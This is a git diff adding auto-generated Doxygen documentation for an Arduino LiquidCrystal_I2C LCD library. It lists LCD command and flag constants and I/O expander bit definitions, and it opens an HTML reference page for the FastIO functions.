= <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8h'; + file-name = 'I2CIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_i2_c_i_o_8h_1a218dbde2f6fda8c5825e25da10864c71'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = '_I2CIO_VERSION'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +"1.0.0" +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + define-mem-desc-line = '34'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8cpp'; + file-name = 'LCD.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8h'; + file-name = 'LCD.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acc3509bc0442b41e2b816555de473ed2'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CLEARDISPLAY'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '53'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a154c86a887633d0f6d9988e4dbb1f419'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_RETURNHOME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '54'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a5597e1d5819ea2f0734ad4313abf6703'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYMODESET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '55'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1adfb8b2b8b8a08d7313504d7a4f89d99f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYCONTROL'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '56'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a61f16a2b7550e4700f7898a7587c5594'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORSHIFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '57'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aaef882ae70d1f485cd132815d9716111'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_FUNCTIONSET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x20 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '58'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aae6ea856879c11dee58493184582a52f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETCGRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x40 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '59'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a15008b832807a208d9d88c74e6751ebf'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETDDRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '60'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a43c26ba2e66880fac95ef640b56873ad'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYRIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '64'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ae7c6309fce6200bd7526d090a4a84dd0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYLEFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '65'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa2cf1d0f4a319e53c009cffe1184466c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYSHIFTINCREMENT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '66'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a049ee97e98d04788c1da9a55590fbe42'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYSHIFTDECREMENT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '67'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a76236ae8317b34bbc98ea56bc0a2639c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '71'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a257ebe775cac7140cf82aa40d8ce545a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYOFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '72'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab67f0adccde68de88eee0513fdfc4574'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '73'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a32b194a3adaa0a0bb69acee2e6a754fa'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSOROFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '74'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ac3b19d4e6553b9bbf18a23387e439206'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BLINKON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '75'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a4b28243034cec656b0ed490ba6979752'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BLINKOFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '76'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab2f7b67abfac33f610acfd5d7a971f40'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_DISPLAYMOVE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '80'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ac21f0302ac4136775877d5f4759e4f74'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORMOVE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '81'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acf5999180233790bb2c9902efde58f7f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_MOVERIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '82'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aafb86adb0dfca1e65d65b2cd1946a009'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_MOVELEFT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '83'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a59a57ca857dae5d89eb5f2a38c4ac6f0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BITMODE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '87'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab8c35d355d2372090c7a347e961c9224'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BITMODE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '88'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a7987e93538df2819583ba43b81ddbb25'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_2LINE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '89'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a8c85cf88d8af66a47c42249d81c94641'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_1LINE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1abb3210156d88d3fe18c9352eb161fe42'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_5x10DOTS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a9ef57e724c1b846dae0f531aff6fb464'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_5x8DOTS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '92'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8cpp'; + file-name = 'LiquidCrystal.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8h'; + file-name = 'LiquidCrystal.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8cpp'; + file-name = 'LiquidCrystal_I2C.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8h'; + file-name = 'LiquidCrystal_I2C.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '41'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1ab5ef25ebfe582f7bf0d93e2770548e2c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'En'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +B01000000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '54'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @warning These definitions will have to be changed should the IOExpander be + connected differently to this default. + + + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1a98b6a2661a04ebbc1b3f38da70306814'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'Rw'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +B00100000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '61'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1a345d1a871beb9e772c3bf9ef75412bb5'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'Rs'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +B00010000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '68'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html new file mode 100644 index 0000000..06d5bac --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html @@ -0,0 +1,549 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp File Reference
+
+
+
#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + +

+Functions

int fio_digitalRead (fio_register pinRegister, uint8_t pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
